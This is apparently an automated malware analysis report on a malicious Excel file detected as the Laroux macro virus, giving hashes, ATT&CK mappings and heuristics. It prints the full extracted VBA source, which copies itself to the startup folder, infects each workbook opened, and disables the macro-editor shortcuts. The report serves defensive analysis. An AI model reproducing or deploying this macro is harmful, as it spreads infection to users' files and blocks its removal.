Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89307b9303e77351…

MALICIOUS

Office (OLE)

85.5 KB Created: 2015-01-04 08:40:44 Authoring application: Kingsoft Office First seen: 2015-10-03
MD5: c96b4c5a5ad293a0f45ae4d092415520 SHA-1: 9adee656307d8336cbd4a089343ce321f5e563c5 SHA-256: 89307b9303e773516fe8309d9f6fbca7f3e550415de3d09fe4a95dc3cfe532e0
88 Risk Score

Malware Insights

MITRE ATT&CK
T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an Auto_Open macro, which is designed to copy the malicious Excel file to the user's startup folder as 'StartUp.xls'. This action aims to establish persistence, ensuring the macro runs automatically upon system startup. The ClamAV detection and the presence of macros strongly indicate malicious intent, likely for further payload delivery or system compromise.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1261 bytes
SHA-256: 0b768312816d34c72addae36ad07c7c877d50ae70941231345a93924e796543b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.